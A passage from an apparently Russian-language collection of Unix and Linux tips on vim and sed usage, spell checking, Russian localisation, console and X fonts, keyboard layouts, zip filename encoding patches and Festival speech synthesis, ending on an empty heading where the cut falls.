    "CTRL-w q" - закрыть текущее окно 
       (":qall" - закрыть все окна разом, ":qall!" - без сохранения, ":write" - записать данные во всех  окнах)
    "CTRL-w s" - разбить текущее окно на 2 части для синхронного редактирования разных частей
       (в каждом окне будет содержимое одного и того же файла).
    "CTRL-w +", "CTRL-w -" - увеличение или уменьшение текущего размера окна
    "ESC 5 CTRL-w -", "ESC 5 CTRL-w +" - изменение размера сразу на 5 строк/столбцов
    "CTRL-w h" - переместить окно влево
    "CTRL-w j" - переместить окно ниже
    "CTRL-w k" - переместить окно выше
    "CTRL-w l" - переместить окно вправо
    "CTRL-w t" - переместить окно на самый верх
    "CTRL-w b" - переместить окно в самый низ
    
     
    ----* Как снизить в Open Office объем потребления памяти (доп. ссылка 1)   Автор: demimurych  [комментарии]
     
    Совет как уменьшить расход памяти при работе с open office 
    или как решается проблема right buttom click на слове с ошибкой.
      
    Как оказалось, в большинстве конфигураций open offica которые я увидел,
    грузятся абсолютно ВСЕ доступные офису словари.
    Как для проверки орфографии так и для других нужд (аля синонимы, переносы ect.) 
    А это дикий расход памяти, плюс критическое снижение производительности (в
    некоторых случаях) при проверке документа.
     
     Итак идем в 
          /usr/lib/ooo-1.1/share/dict/ooo 
     Ищем файл 
          dictionary.lst 
     И удаляем оттуда все ссылки на словари которые нам сейчас не нужны. 
     Фактически мы удаляем только указатели - какие словари использовать, 
    сами словари остаются на месте и при необходимости могут быть снова добавлены. 
     
    В моем случае расход памяти снижался с 300 метров до 50. 
    
     
    ----* Русские буквы в качестве управляющих клавиш в VIM (доп. ссылка 1)   Автор: Илья Воронин  [комментарии]
     
    Для ввода команд без переключения раскладки достаточно прописать в ~/.vimrc:
       set langmap=йq,цw,уe,кr,еt,нy,гu,шi,щo,зp,х[,ъ],фa,ыs,вd,аf,пg,рh,оj,\
       лk,дl,э',яz,чx,сc,мv,иb,тn,ьm,б\,,ю.,ё`
    
     
    ----* Удаление граничных пробелов и комментариев в sed (доп. ссылка 1)   [комментарии]
     
    Удаление комментариев и пустых строк
      sed '/^ *#/d; /^ *$/d'
    
    Объединение строк разделенных символом \
      sed ':a; /\\$/N; s/\\\n//; ta'
    
    Удаление граничных пробелов и табуляций
      sed 's/[ \t]*$//'
    
     
    ----* Запуск ispell для проверки орфографии из скрипта (доп. ссылка 1)   [обсудить]
     
    Вывести список слов с ошибками:
      cat file.txt | ispell -d russian -l
    Детальный разбор ошибок с вариантами замены:
      echo file.txt | ispell -d russian -a
    Для скриптов на perl рекомендую использовать модуль Lingua::Ispell.
    
     
    ----* Как осуществить форматирование файла ограничив число символов в строке   [обсудить]
     
    Жестко разбить по 60 символов в строке: fold -w 60 test.txt
    Разбивать только по пробелам, не разбивая слова на части: fold -s -w 60 test.txt
    Для форматирования текста программы на Си можно воспользоваться утилитой indent.
    Разбить на параграфы поможет fmt из textutils.
    
     
    ----* Полезные команды при работе в vi   [обсудить]
     
    :set ic|noic - установить|снять игнорирование различия больших и маленьких букв.
    /web *master - поиск по маске
    / - продолжение поиска вперед, ? - назад.
    V - выделение в vim с подсветкой (визуальный режим отметки блока)
    :.,$s/Windows/Linux/gс - заменить Windows на Linux с текущей позиции до конца, 
      при каждой замене спрашивать подтверждение.
    :set ai|noai - включить|выключить автоматическое выравнивание.
    :syntax on|off - включить|выключить подцветку синтаксиса.
    :set syntax=perl|c|java|html - выбрать язык для подцветки.
    
     
    ----* Как преобразовать man в текстовый вид ?   [комментарии]
     
        groff -mandoc -Tlatin1 | col -b
    Для русских манов latin1 меняем на koi8-r.
    
     
    ----* Как русифицировать gvim   [комментарии]
     
    В ~/.Xdefaults добавить:
       Vim*font:             -cronyx-fixed-medium-r-normal-*-20-200-75-75-c-100-koi8-*
    
     
    ----* Как удалить пустые строки в vi   [комментарии]
     
    :g/^$/d
    
     
    ----* Как удалить DOSовый возврат каретки   [комментарии]
     
    в vi:
         :%s/<CTRL-V><CTRL-M>//g
    через командную строку:
         col -bx < dosfile > newfile
    или  cat dosfile| tr -d "\r" > newfile
    
     
    ----* Что поместить в начало русского LaTeX текста   [комментарии]
     
     \usepackage[T2A]{fontenc}
     \usepackage[koi8-r]{inputenc}
     \usepackage[english,russian]{babel}
    
     

       Русификация

    ----* Включение проверки орфографии в собранном из исходных текстов OpenOffice 2 (доп. ссылка 1)   Автор: kaim  [комментарии]
     

    Собрал себе OpenOffice 2 версии и столкнулся с проблемой - не хочет проверять русский язык. Ниже описание как была решена проблема.

    Когда OO способен проверять орфографию, он выставляет синию галочку у названия языка в соответсвующей менюхе. В FreeBSD это по умолчанию не происходит, что грустно.

    Для того, чтоб OO начал проверять орфографию русских слов в FreeBSD нужно ему скормить русский модуль. Сам модуль доступен на сайте OO по адресу [1]. Скачав модуль и сохранив его в любом удобном месте, идём в меню Файл > Мастер > Установить новые словари. Там выбираем абсолютно любой словарь и жмём кнопку. В открывшемся мастере преключаем язык на английский (ниспадающая менюшка внизу) - выбираем пункт Current user setup, затем савим галку у Off-line language pack installation и прописываем путь к скачанному фалу (в моём случае это ru_RU-pack.zip).

    Далее отвечаем на вопросы мастера, выбирая все словари с помошью Control (о чём там и говориться). Закрываем OO, открываем OO :)

    Всё, словари стоят, идём в Сервис > Параметры - Натсройка языка > Лингвистика и выбираем там проверку орфографии и всё что нам нужно.

    Ссылки по теме

    1. http://lingucomponent.openoffice.org/spell_dic.html слованри
    2. http://lingucomponent.openoffice.org/download_dictionary.html тезариус
    3. http://ooodi.sourceforge.net/OOodi.html#usage о том как ставить поддержку словарей
    P.S. Не забываем при этом собирать aspell и linux-aspell с опциями ASPELL_RU=yes и другими по необходимости
     
    ----* Настройка шрифтов для консоли и терминала   Автор: Warlock  [комментарии]
     
    Одна из первых вещей, которые требуется поменять в свежеустановленной системе -
    шрифты и раскладки клавиатуры. С предлагаемыми по умолчанию шрифтами обычно
    имеется несколько проблем:
    
    
  • шрифт в терминале (здесь и далее под терминалом я подразумеваю "настоящий" терминал, т.е. tty) слишком мелкий.
  • эстетика некоторых букв неидеальна.
  • шрифт в консоли (а под этим словом я подразумеваю GUI-программу - эмулятор терминала) безобразно гладкий и отличается от шрифта в терминале.
  • возможности набирать русские буквы нет, либо же есть, но переключение между языками ужасное.
  • в Иксах нет возможности набирать типографские символы (в терминале тоже, но в терминале это не особо нужно, даже для цели написания таких вот текстов). Собственный шрифт в терминале Первое, что нужно сделать - обзавестись хорошим растровым шрифтом. И если для базовой латиницы таких шрифтов, возможно, несколько (но это не точно), то с учётом кириллицы и юникода выбора вообще не остаётся, и Terminus - это единственный вариант. Так что в этом месте нужно пойти в интернет и раздобыть две вещи: 1) сам Terminus в виде архива '.tar.gz' и 2) веб-страничку этого шрифта, которая содержит важную информацию относительно настраиваемых вариантов некоторых букв и которая, тем не менее, почему-то не входит в тарбол. Далее следуют привычные и очевидные вещи - распаковка тарбола и изучение readme файла. Ну а далее всё просто. Во-первых нужно определиться с альтернативными начертаниями и применить необходимые патчи (подробности в readme). Далее нужно решить, какой размер и начертание шрифта вам подходит. Я обычно использую 9x18, жирное начертание. Выбранный шрифт можно отредактировать с помощью 'gbdfed'. Так, в шрифт, которым я пользуюсь прямо сейчас, внесены следующие исправления:
  • изменено начертание русско-латинской большой буквы "A", так что она имеет вид, схожий с видом этой буквы в классическом ДОС шрифте,
  • изменено начертание кириллического "Ээ оборотного", так что его труднее спутать с "Зз",
  • изменено начертание строчной кириллической буквы "б", так как дефолтный вариант имеет не вполне органичный вид для русского языка,
  • изменено начертание заглавной буквы "Ф" - она стала более "скромной",
  • изменено очертание твёрдого знака - он стал поуже, а палочка, отличающая его от мягкого знака, заметнее,
  • изменено очертание буквы "Ыы" опять же по мотивам известного досовского шрифта,
  • изменено начертание цифры "3", чтобы не путать её с буквой "З". Соответствующие патчи можно найти на гитхабе. Выбрав и отредактировав шрифт, переходим к сборке: $ ./configure $ make Инсталляция сводится к размещению шрифта в правильном месте. В линуксах читаем 'man setfont', используем '.psf' файл: $ cp ter-u18b.psf xter-u18b.psf $ gzip -9 xter-u18b.psf # mv xter-u18b.psf.gz /usr/share/kbd/consolefonts # chown root:root /usr/share/kbd/consolefonts/xter-u18b.psf # chmod u=rw,g=r,o=r /usr/share/kbd/consolefonts/xter-u18b.psf Во FreeBSD читаем 'man vt' и раздел "Virtual Consoles and Terminals" в Hanbook, и превращаем ".bdf" в ".fnt" с помощью "vtfontcvt": $ vtfontcvt -o xter-u18b.fnt ter-u18b.bdf # mv xter-u18b.fnt /usr/share/vt/fonts # chown root:root /usr/share/vt/fonts/xter-u18b.fnt # chmod u=rw,g=r,o=r /usr/share/vt/fonts/xter-u18b.fnt Осталось указать системе использовать наш шрифт. Во FreeBSD это делается с помощью настройки "allscreens_flags" в "/etc/rc.conf": allscreens_flags="-f xter-u18b" В линуксах настройка дистроспецифична, точнее она зависит от системы инициализации. В случае systemd это настраивается установкой "FONT" в "/etc/vconsole.conf": FONT="xter-u18b" В случае использования системы инициализации OpenRC, нужная опция называется 'consolefont' и располагается в '/etc/conf.d/consolefont': consolefont="xter-u18b" В Artix с OpenRC надо прописывать шрифт в оба места: и в '/etc/conf.d/consolefont', и дополнительно в '/etc/vconsole.conf' для 'mkinitcpio' (а точнее для хука '/usr/lib/initcpio/install/consolefont'). В Slackware нужно просто вписать вызов 'setfont' с нужными параметрами в '/etc/rc.d/rc.font': /usr/bin/setfont xter-u18b Но если нужно загрузить шрифт так же и в initrd, я не представляю как это можно сделать в Slackware. Шрифт в загрузчике Если хочется использовать тот же шрифт и в меню загрузчика, вот как это делается для Arch-подобных Linux-дистрибутивов и загрузчика GRUB 2. 1. Шрифт в '.pf2' формате кладётся в '/boot/grub/fonts': $ grub-mkfont -o xter-u18b.ps2 ter-u18b.bdf # mv xter-u18b.ps2 /boot/grub/fonts 2. Затем шрифт прописывается в '/etc/default/grub': GRUB_FONT="/boot/grub/fonts/xter-u18b.pf2" 3. Регенерируется реальный конфиг груба: # grub-mkconfig -o /boot/grub/grub.cfg Всё, можно перезагружаться и проверять результат. Шрифт в консоли Следующая задача - запихнуть тот же самый шрифт в Иксы, чтобы иметь возможность использовать его в эмуляторе терминала. Современные иксовые приложения не особенно любят растровые шрифты, особенно в "традиционном" формате '.pcf', поэтому необходимо использовать более "модный" '.otb'. Конвертация проста: $ fonttosfnt -o xter-u18b.otb ter-u18b.bdf Однако, перед этим может быть небесполезным поменять название кастомного шрифта в '.bdf' файле, чтобы если что он не перепутался с оригинальным Terminus. Запихивать такой шрифт в систему не вполне правильно, да и не нужно: в '~/.local/share/fonts' ему будет вполне комфортно. (В прежние времена для этой цели использовалась '~/.fonts', но в рамках борьбы с загаживанием home dir, фонты переехали в указанное выше место.) Чтобы Иксы обновили список доступный шрифтов, необходимо позвать 'fc-cache -fv'. Однако очень вероятно, что так сразу шрифт не найдётся. Моё основанное на личном опыте заключение таково: в FreeBSD больше никаких телодвижений не требуется, а вот в Linux скорее всего придётся найти способ включить растровые шрифты. Правда, способ этот скорее всего весьма универсален: надо просто прочитать '/etc/fonts/conf.d/README', и, прочитав, обратить внимание на файлы с названиями '70-yes-bitmaps.conf' и '70-no-botmaps.conf' в '/etc/fonts/conf.d' и '/usr/share/fontconfig/conf.avail' (последняя директория может располагаться и в ином месте, но 'locate conf.avail' должен справиться с поиском). Дальнейшие действия очевидны: отключить отключение растровых шрифтов путём удаления линка на файл '70-no-botmaps.conf' и включить включение растровых шрифтов путём создания линка на '70-yes-bitmaps.conf'. Этого должно быть достаточно, чтобы 'fc-cache -fv' нашёл-таки наш шрифт, после чего (Иксы лучше перезапустить) наш кастомный шрифт будет можно выбрать в настройках программы - эмулятора терминала. Продолжение следует...
  •  
    ----* Как русифицировать GNU Emacs/XEmacs   [комментарии]
     
    в ~/.emacs
    (XEmacs
      (set-language-environment "Cyrillic-KOI8")
      (select-input-method "cyrillic-jcuken")
    )
    (GNUEmacs
      (set-language-environment "Cyrillic-KOI8")
      (set-terminal-coding-system 'koi8-r)
      (set-keyboard-coding-system 'koi8-r)
    )
    
     
    ----* Раскладка клавиатуры для ввода символов APL   Автор: Аноним  [комментарии]
     
    Большинство руководств в сети показывают как добавить APL в качестве второй
    раскладки, например в дополнение к US. Мне это не подходит, потому что у меня
    уже две раскладки (US, RU), а добавление третьей сделает переключения неудобными.
    
    Для организации ввода символов APL без добавления ещё одной раскладки
    следует добавить опцию "misc:apl", каковы бы ни были текущие настройки
    клавиатуры X11.
    
    Результат:
    
        # setxkbmap -print
        xkb_keymap {
          xkb_keycodes  { include "evdev+aliases(qwerty)"	};
          xkb_types     { include "complete"	};
          xkb_compat    { include "complete+ledscroll(group_lock)"	};
          xkb_symbols   { include "pc+us+ru:2+inet(evdev)+group(rctrl_toggle)+ctrl(nocaps)+compose(lwin)+apl(level3):1+apl(level3):2"	};
          xkb_geometry  { include "pc(pc104)"	};
        };
    
    Можно добавить опцию "lv3:caps_switch" для переключения в режим APL с помощью
    нажатия и удержания CapsLock, а также нажатия и удержания CapsLock+Shift  для
    ввода других символов APL. В этом случае нажатие и удержание CapsLock или
    CapsLock+Shift позволяет вводить символы APL независимо от текущей раскладки.
    
    В Xfce изменение можно выполнить в редакторе настроек (типа реестра).
    
     
    ----* Как сделать пометку ошибок правописания в Firefox более заметной   [комментарии]
     
    По умолчанию Firefox помечает слова с ошибками правописания тонкой красной
    волнистой чертой, которая малозаметна на некоторых мониторах.
    
    Для изменения стиля пометки в about:config можно изменить значение переменной
    ui.SpellCheckerUnderlineStyle (по умолчанию отсутствует, нужно создать).
    Значение 0 означает отключение пометки, 1 - подчёркивание из точек, 2 -
    прерывистой линией, 3 - одинарной линией, 4 - двойной линией, 5 (по умолчанию)
    - волнистой линией.
    
    
    Для изменения цвета можно использовать переменную ui.SpellCheckerUnderline (по
    умолчанию выбран красный цвет - #FF0000)
    
    Толщина задаётся при помощи переменной ui.SpellCheckerUnderlineRelativeSize (по умолчанию 100).
    
     
    ----* Правильное отображение русских букв для zip-архивов в KDE ARK   Автор: Аноним  [комментарии]
     
    Ubuntu 16.04 умеет корректно читать через unzip архивы с русскими буквами, а
    через p7zip нет. При этом, архиватор KDE ARK если установлен p7zip предпочитает
    его, а не unzip. Для того чтобы это исправить нужно увеличить значение
    приоритета в файле
    
       /usr/share/kservices5/kerfuffle_clizip.desktop
    
    изменить строчку
    
       X-KDE-Priority=160
    
    на
    
       X-KDE-Priority=190
    
     
    ----* Настройка клавиатуры для X.org/X11 в Fedora 18, 19 и выше   Автор: Artem S. Tashkinov  [комментарии]
     
    В новых версиях Fedora Linux настройка клавиатуры для X11/X.org изменилась и
    теперь её можно осуществлять с помощью команды localectl:
    
       localectl set-x11-keymap layout [model] [variant] [options]
    
    localectl также можно использовать в других дистрибутивах с systemd-localed, таких как Arch Linux.
    
    
    Работающий пример для изменения раскладки с помощью Alt+Shift, отображением
    языка в виде LED индикатора Scroll Lock и рестарта X-сервера с помощью Ctrl+Alt+Backspace:
    
       localectl set-x11-keymap "us,ru" pc105 "" grp:alt_shift_toggle,grp_led:scroll,terminate:ctrl_alt_bksp
    
    Просмотреть список доступных сочетаний клавиш для смены раскладки можно с помощью команды:
    
       man xkeyboard-config
    
     
    ----* Перекодирование русских символов вида =D0=9B в транслит   Автор: Kroz  [комментарии]
     
    Данная задача появилась когда потребовалось перенести адресную книгу с одного
    телефона в другой. Использовался wammu. Принцип был таков: подключив первый
    телефон экспортировать адерсную книгу в .vcf файл, потом подключить второй
    телефон и импортировать в него .vcf файл. Проблема в том, что русские имена
    контактов не хотели импортироваться. Было принято решение перекодировать их в транслит.
    
    В .vcf файле имя на русском было записано вот в такой форме:
    
       N;CHARSET=UTF-8;ENCODING=QUOTED-PRINTABLE:=D0=92=D0=B0=D1=81=D1=8F
    
    Очевидно, что это юникод, оформленный в формате Quoted-Printable.
    Для перевода нужно составить таблицу соответствия таких вот комбинаций
    транслитерированым символам - в этом, пожалуй, основная сложность задачи.
    
    Внизу скрипт, который выведет команду, которой можно перекодировать файлы.
    Мягкий и твердый знаки игнорируются.
    
       #!/bin/sh
    
       src=(\\
       =D0=90 =D0=91 =D0=92 =D0=93 =D0=94 =D0=95 =D0=96 =D0=97 =D0=98 =D0=99 =D0=9A =D0=9B =D0=9C =D0=9D =D0=9E =D0=9F =D0=A0 =D0=A1 =D0=A2 =D0=A3 =D0=A4 =D0=A5 =D0=A6 =D0=A7 =D0=A8 =D0=A9 =D0=AA =D0=AB =D0=AC =D0=AD =D0=AE =D0=AF =D0=B0 =D0=B1 =D0=B2 =D0=B3 =D0=B4 =D0=B5 =D0=B6 =D0=B7 =D0=B8 =D0=B9 =D0=BA =D0=BB =D0=BC =D0=BD =D0=BE =D0=BF =D1=80 =D1=81 =D1=82 =D1=83 =D1=84 =D1=85 =D1=86 =D1=87 =D1=88 =D1=89 =D1=8A =D1=8B =D1=8C =D1=8D =D1=8E =D1=8F)
       res=(\\
          A       B     V     G        D     Ye    Zh      Z      I      Y      K      L      M      N      O      P        R       S     T     U        F      H    Ts      Ch     Sh    Sch     Ь      Y      Ь      E      Yu     Ya       a       b     v     g        d     ye    zh      z      i      y      k      l      m      n      o      p    r       s     t     u        f      h    ts      ch     sh    sch     Ь      y      Ь      e      yu     ya)
    
       CMD=""
       for ((A=0;A<64;A++)) ; do
       	CMD=`echo "$CMD | sed -e s/${src[$A]}/${res[$A]}/g"`
       done
    
       CMD=`echo "cat file.vcf $CMD | sed -e s/Ь//g | sed -e s/N\\;CHARSET=UTF-8\\;ENCODING=QUOTED-PRINTABLE/N/g | less"`
       echo "$CMD" 
    
    
    Для раскодирования quoted-printable блоков можно использовать простой perl-скрипт:
    
       echo "=D0=92=D0=B0=D1=81=D1=8F" | perl -e 'use MIME::Decoder; $decoder = new MIME::Decoder "quoted-printable"; $decoder->decode(\\*STDIN, \\*STDOUT);'
    
     
    ----* Правильная кодировка html-сообщений в mutt при использовании w3m (доп. ссылка 1)   Автор: Kirill Zabarniuk  [комментарии]
     
    При просмотре html-сообщений в mutt при помощи w3m часть сообщений может
    оказаться нечитаемой из-за неправильного определения кодировки сообщения.
    Исправить это можно, добавив следующую строку в свой ~/.mailcap:
    
       text/html; /usr/bin/w3m -dump -I %{charset} -T text/html '%s'; copiousoutput; description=HTML Text; nametemplate=%s.html
    
    Ключевой является опция -I %{charset}.
    
     
    ----* Работа с русскими именами файлов в ZIP и UNZIP под *nix   Автор: Natrio  [комментарии]
     
    Одна из неожиданных проблем, возникающих при обмене файлами с пользователями
    Windows - странное поведение ZIP-архивов. Казалось бы, достаточно правильно
    настроить кодировки... Не тут-то было!
    
    Для текстовых файлов достаточно найти редактор с выбором кодировки, для дисков
    можно указать кодировку при монтировании, более "продвинутые" форматы архивов
    (RAR, 7zip) тоже как-то решают эту проблему; и только ZIP, самый
    распространённый и "самый совместимый" архиватор, почему-то неожиданно
    оказывается несовместимым в принципе, стоит именам файлов выйти за пределы ASCII.
    
    Есть мнение, что в архивы ZIP имена файлов пишутся в кодировке файловой
    системы, и дескать, отсюда и проблемы - в Windows одна кодировка, а в Linux
    другая. И виноват в том устаревший архивный формат и сделать с этим ничего
    нельзя, а если очень хочется - переименовывать распакованные файлы скриптами и
    прочими костылями. Что ж, попробуем.
    
    Однако попытка увидеть имена файлов путём перекодировки вида
    
       ls -N | iconv -f cp866
    
    заканчивается провалом. Ладно, не подошла 866, перебираем все известные русские
    кодировки и все виды юникода - имена файлов остаются нечитаемыми. Что же это за
    кодировка такая в зипе?!
    
    Поиски в сети дают результат - оказывается, надо так:
    
       ls -N | iconv -f cp1252 -t cp850 | iconv -f cp866
    
    Перекодировать распакованные файлы в utf-8 можно следующей командой:
    
       find . -type f -exec sh -c 'np=`echo {}|iconv -f cp1252 -t cp850| iconv -f cp866`; mv "{}" "$np"' \;
    
    Битые имена файлов уходят, остаётся вопрос - неужели в зипе правда такая
    странная кодировка? Что-то сомнительно.
    
    Ищем дальше и натыкаемся на разгадку. http://www.linuxfromscratch.org/blfs/view/cvs/general/unzip.html
    
    "The UnZip package assumes that filenames stored in the ZIP archives
    created on non-Unix systems are encoded in CP850, and that they should be
    converted to ISO-8859-1 when writing files onto the filesystem. Such
    assumptions are not always valid. In fact, inside the ZIP archive, filenames
    are encoded in the DOS codepage that is in use in the relevant country, and the
    filenames on disk should be in the locale encoding. In MS Windows, the
    OemToChar() C function (from User32.DLL) does the correct conversion (which is
    indeed the conversion from CP850 to a superset of ISO-8859-1 if MS Windows is
    set up to use the US English language), but there is no equivalent in Linux.
    
    When using unzip to unpack a ZIP archive containing non-ASCII filenames, the
    filenames are damaged because unzip uses improper conversion when any of its
    encoding assumptions are incorrect. For example, in the ru_RU.KOI8-R locale,
    conversion of filenames from CP866 to KOI8-R is required, but conversion from
    CP850 to ISO-8859-1 is done, which produces filenames consisting of
    undecipherable characters instead of words (the closest equivalent
    understandable example for English-only users is rot13)."
    
    Другими словами, имена файлов в ZIP-архиве хранятся в кодировке DOS,
    соответствующей языку локали. В Windows эта кодировка может быть получена
    соответствующей функцией, а для прочих систем авторы Info-ZIP решили не
    возиться и схалтурили - сделали безальтернативное преобразование cp850=>cp1252.
    Вот, где зарыта собака! Нет никакой "уникальной кодировки ZIP", там обычная 866
    (для русской локали). Во всём прочем виноват не устаревший формат, а версия
    unzip от Info-ZIP для *nix, которая неправильно работает со всеми локалями,
    отличными от западноевропейских. Что делать?
    
    Патчить. Можно, конечно, обойтись разовым переименованием, но только в разовых
    случаях. Если такие архивы встречаются часто, или их надо создавать, выбора не
    остаётся, нужен нормальный инструмент, а не костыли. В сети есть разные патчи
    для zip и unzip от разных авторов и для различных версий, однако многие из них
    устарели, а некоторые небеспроблемны. Я остановился на патчах от АльтЛинукса.
    
    Проблему определения кодировки DOS они решили путём использования своей библиотеки 
    libnatspec, которую перед этим придётся установить, брать можно тут: http://sourceforge.net/projects/natspec/
    После её установки актуальные кодировки локали можно проверить командой
    
       natspec -i
    
    Патч для unzip-6.0 подошел почти гладко, осталось исправить только две мелких
    детали. Патчи для zip оказались для предыдущей версии, поэтому пришлось
    повозиться немного больше, однако оно того стоило - теперь я могу спокойно
    распаковывать созданные в Windows zip-архивы просто командой unzip, и точно так
    же упаковывать командой zip, не опасаясь битой кодировки на том конце.
    
    Итак, качаем исходник последней стабильной версии unzip
    unzip60.tgz и
    исправленную версию патча unzip60-natspec-mod.diff.gz, распаковываем
    исходник, переходим в его директорию, патчим, собираем и устанавливаем:
    
       zcat ../unzip60-natspec-mod.diff.gz | patch -p1
       make -f unix/Makefile generic_gcc
    
    и от рута
    
       make -f unix/Makefile install
    
    После этого unzip должен правильно распаковывать zip-архивы с русскими именами
    файлов, и правильно же выводить их в консоли.
    
    Теперь то же самое с zip - берём последнюю версию
    zip30.tgz, и к нему мой патч
    natspec-asdos-mod.diff.gz.
    Распаковываем исходник, и в его директории:
    
       zcat ../zip30-natspec-asdos-mod.diff.gz | patch -p1
       make -f unix/Makefile generic_gcc
    
    и от рута
    
       make -f unix/Makefile install
    
    Теперь мы можем упаковывать zip-архивы в виде, полностью совместимом с
    проводником Windows и даже с TotalCommander. С последним оказалось, как ни
    странно, даже больше проблем - он требовал архив не просто в кодировке DOS, а
    непременно с именами в формате DOS, часть патча "asdos" именно для этого. Что
    особенно забавно, в TotalCommander использован код всё того же проекта Info-ZIP.
    
    Возможно, некоторые спросят - зачем столько возни с этим морально устаревшим
    зипом, когда полно приличных архиваторов на любой вкус? Ответ - для
    совместимости, больше ни для чего ZIP и не нужен. А раз так, то пускай он
    делает своё дело как надо, а не как всегда :)
    
     
    ----* Включение поддержки терминала cons25r в ALTLinux   Автор: kde  [комментарии]
     
    Иногда возникает необходимость используя консоль FreeBSD зайти на сервер с
    ALTLinux. Для Linux TERM=cons25 возможность не штатная, соответственно
    возникает масса проблем.
    Решается эта проблема установкой пакета terminfo-extra:
    
       sudo apt-get install terminfo-extra
    
    после этого ALTLinux нормально воспринимает cons25.
    
     
    ----* Русификация языка построения экспертных систем CLIPS   Автор: NuINu  [комментарии]
     
    Прочитал в википедии, что распространению CLIPS в России мешает то, что он не
    поддерживает русский язык. Итак спешу опровергнуть это утверждение, по крайней
    мере для систем UNIX/LINUX
    
    Для русификации CLIPS при генерации из исходных текстов для платформ UNIX/LINUX
    достаточно в коде функции main файла main.c внести изменения:
    
       setlocale(LC_ALL, "ru_RU.KOI8-R");
       setlocale(LC_NUMERIC, "C");
    
    и CLIPS будет понимать русскую кодировку koi8r не только в значениях
    переменных, фактах и комментариях, но и в названиях функций и именах
    переменных. После чего можно писать простые приложения, выполняемые как обычные
    приложения UNIX. Вот простой пример:
    
       #!/u01/bin/clips -f2
       ;;путь где у меня расположен интерпретатор clips
       ;;пример написания и вызова функции на языке CLIPS в обычном процедурном стиле
    
       (deffunction гипотенуза (?a ?b)
           (sqrt (+ (* ?a ?a) (* ?b ?b)))
       )
    
       (defrule main
           =>
           (bind ?результат (гипотенуза 3.0 4.0))
           (printout t "гипотенуза = " ?результат crlf)
       )
    
       (reset)
       (run)
       (exit)
    
     
    ----* Настройка одновременной проверки двух языков в Aspell (доп. ссылка 1) (доп. ссылка 2)   Автор: bosha  [комментарии]
     
    По умолчанию aspell может проверять только один язык, для одновременной
    проверки ошибок в английских и русских словах можно пойти обходным путем и
    создать комбинированный словарь:
    
        su
        cd /usr/lib/aspell*
        grep '^special' en.dat >>ru.dat
        aspell dump master en >w.en
        aspell dump master ru-yo >w.ru
        cat w.ru w.en >w.all
        aspell --lang=ru --encoding=UTF-8 create master ruen.rws < w.all
        rm -f w.ru w.en w.all
        echo "add ruen.rws" > ru.multi
    
    Если в системе используется русский словарь без поддержки буквы "Ё", вместо
    "ru-yo" следует использовать имя "ru".
    
    После выполнения данных операций, в стандартный русский словарь будет добавлена
    поддержка английского языка.
    
     
    ----* Настройка синтеза речи в Ubuntu (доп. ссылка 1)   [комментарии]
     
    Простой рецепт по установке и использованию синтезатора речи Festival в Ubuntu:
    
    Устанавливаем festival и сопутствующие утилиты:
    
       sudo apt-get install festival speech-tools
    
    Cтавим пакет с голосом, которые занимает 186 Мб. 
    В репозитории universe Ubuntu 9.10 уже есть готовый пакет festvox-ru:
    
       sudo apt-get install festvox-ru
    
    Если используется Ubuntu 9.04 в /etc/apt/sources.list добавляем:
       deb http://ppa.launchpad.net/sergey-udaltsov/ppa/ubuntu jaunty main 
       deb-src http://ppa.launchpad.net/sergey-udaltsov/ppa/ubuntu jaunty main 
    
    Ставим:
    
       sudo apt-get install festvox-ru
    
    В остальных дистрибутива можно установить/распаковать deb-пакет с голосом из Ubuntu 9.10:
    
       sudo wget http://ubuntu.mirrors.tds.net/ubuntu/pool/universe/f/festvox-ru/festvox-ru_0.5-1_all.deb
       sudo dpkg --install festvox-ru_0.5-1_all.deb
    
    Проверяем (русский текст воспринимается только в кодировке UTF-8):
    
       festival
    
       >(SayText "Hello!")
    
    Активируем русский голос
    
       >(voice_msu_ru_nsh_clunits)
    
    Произносим русский текст:
    
       >(SayText "Привет!")
       >(exit)
    
    Читаем содержимое файла:
    
       festival -b '(begin (voice_msu_ru_nsh_clunits) (tts_file "./file.txt"))'
    
    Сохранить результат в файл:
    
       text2wave -eval '(voice_msu_ru_nsh_clunits)' ./file.txt -o ./file.wav
    
    Чтобы заработало:
    
       cat file.txt | festival --tts --language russian
    или
       festival --tts --language russian file.txt
    
    Нужно в файл /usr/share/festival/languages.scm перед строкой "(define
    (select_language language)" добавить (по аналогии с другими языками):
    
       (define (language_russian)
       "(language_russian)
       Set up language parameters for Russian"
          (set! male1 voice_msu_ru_nsh_clunits)
          (male1)
          (Parameter.set `Language `russian)
       )
    
    В блок "(define (select_language language)" добавляем:
    
       ((equal? language `russian)
       (language_russian))
    
     
    ----* Монтирование VFAT в Linux как в Windows   Автор: Bill Routers  [комментарии]
     
    Возможно, повторюсь, но, на мой взгляд, кому-нибудь будет полезно.
    
    Локаль - ru_RU.UTF-8
    Проверено Ubuntu 8.04, Debian 5.0.3.
    
    Путем "долгих исследований" получил следующие опции монтирование раздела FAT.
    
       /dev/sdf1  /media/usb  vfat rw,async,flush,users,noatime,noauto,utf8,codepage=866,check=r,\
       quiet,showexec,shortname=winnt 0	0
    
    Главное это опции: utf8,codepage=866,check=r.
    По умолчанию они не задействованы.
    Без них "vfat" ведет себя не так как Windows XP Rus,
    позволяя создавать файлы по русски в разном регистре.
    Саша <> САша <> саша <> СашА.
    Конечно, можно создавать файлы "only English",
    но не всегда это удобно и возможно, особенно при копировании.
    
     
    ----* Сглаживание шрифтов с хинтингом на системном уровне в Ubuntu (доп. ссылка 1)   Автор: Sb0y  [комментарии]
     
    В Linux сейчас много способов добиться гладких, не размытых шрифтов, не
    прибегая к запатентованным технологиям.
    
    К счастью, уже не нужно пересобирать freetype. Но мы так же знаем, что
    графических окружений очень много и уже не редки те случаи, когда на одном PC,
    используется несколько сред. При этом, так же, не стоит забывать, что каждая
    среда со шрифтами работает по-разному.
    
    Поэтому, я предлагаю настроить сглаживание шрифтов в Ubuntu на системного уровне. 
    
    В /etc/fonts/local.conf пишем:
    
     <?xml version="1.0"?>
     <!DOCTYPE fontconfig SYSTEM "fonts.dtd">
     <fontconfig>
      <match target="font">
        <edit name="autohint" mode="assign">
          <bool>true</bool>
        </edit>
      </match>
     </fontconfig>
    
    И перезапускаем все приложения, что работали до изменений.
    В настройках среды можно выставить антиалиасинг по вкусу (обычно включается по умолчанию).
    
    С Tcl\Tk может помочь такая магия:
    
       sudo apt-get install tk8.5 libsnack2 tktray msttcorefonts
       sudo update-alternatives --config wish
    
    В меню нужно выбрать цифру соответствующую пункту "/usr/bin/wish8.5".
    
     
    ----* Решение проблемы со шрифтами в Google Earth на Ubuntu и Debian   Автор: Дмитрий Иванов  [комментарии]
     
